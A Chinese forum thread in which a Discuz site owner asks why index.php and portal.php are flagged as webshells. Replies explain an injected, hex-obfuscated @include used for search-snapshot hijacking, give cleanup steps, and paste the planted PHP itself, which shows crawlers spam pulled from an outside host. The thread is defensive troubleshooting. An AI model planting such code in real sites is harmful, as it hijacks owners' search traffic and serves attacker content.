两个文件总是提示为WEBSHELL

左右不逢缘 · 发表于 2020-9-29 09:19:43

马上注册，免费下载更多dz插件网资源。

您需要登录才可以下载或查看，没有账号？立即注册

×

警告 index.php文件为webshell；警告 portal.php文件为webshell；官方文件刚替换查杀也提示。后台检测也没有文件被修改。

©DZ插件网所发布的一切资源仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。
网站部分内容来源于网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，得到更好的正版服务。
您在本站任何的赞助购买、下载、查阅、回复等行为等均表示接受并同意签订《DZ插件网免责声明协议》。
如有侵权请邮件与我们联系处理: discuzaddons@vip.qq.com 并出示相关证明以便删除。敬请谅解！

TyCoding · 发表于 2020-9-29 09:20:42

若存在，处理前，先卸载所有盗版插件与模版。

进discuz后台找到工具-文件校验，看下最近有哪些php文件被修改了。

1、排查网站源文件的php 文件，查看是否有出现IP地址、或者异常网站（上面跳转的网站），如果有删除就可以了。

2、排查网站源文件的php 文件，查看是否有如下代码：@include($_SERVER['DOCUMENT_ROOT']

（排查一般用WEBshell后门扫描软件扫描核查！）

如果有就删除此段代码。并把该段代码进行解密。

举例：@include($_SERVER['DOCUMENT_ROOT'].PACK('H*','2F646174612F6176617461722F30'));

需要解密的代码为：2F646174612F6176617461722F30

解密后为：/data/avatar/0

代码解密地址：http://www.bejson.com/convert/ox2str/

意思就是在上述路径下存在被非法上传的文件，用于做快照劫持。

解决办法：删除上面的代码和文件即可。

挂马问题解决了后，记得更改服务器相关的各种密码，尽量设置的复杂一点。

独家记忆 · 发表于 2020-9-29 09:20:50

<?php
header('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false||strpos($key,strtolower('Yahoo'))!== false||strpos($key,strtolower('bingbot'))!== false )
{
date_default_timezone_set('PRC');
$TD_server = "http://www.hack163.com/shou/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;
}

?>
在这几个文件中加入了这样一段代码。